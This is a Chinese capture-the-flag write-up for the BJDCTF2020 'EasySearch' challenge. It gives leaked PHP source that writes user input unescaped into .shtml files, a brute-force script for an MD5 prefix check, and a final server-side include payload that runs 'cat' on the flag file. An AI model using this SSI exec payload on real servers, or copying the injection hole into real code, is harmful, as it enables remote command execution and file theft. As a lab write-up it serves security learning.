[BJDCTF2020]EasySearch(ssi漏洞)

1.首页御剑扫描可以发现有index.php.swp，可以查看源码

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

可以看到当password的md5值的前六位是6d0bc1时那么就可以进去。
简单写个脚本爆破一下:

import hashlib
for i in range(1,10000000):
    res=hashlib.md5(str(i).encode()).hexdigest()
    if res[:6]=="6d0bc1":
        print(str(i))
        break

爆破得到2020666。这里发现

访问一下看看是什么。
发现返回了admin
猜测是ssi注入

最终payload,访问就有flag最终payload:<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->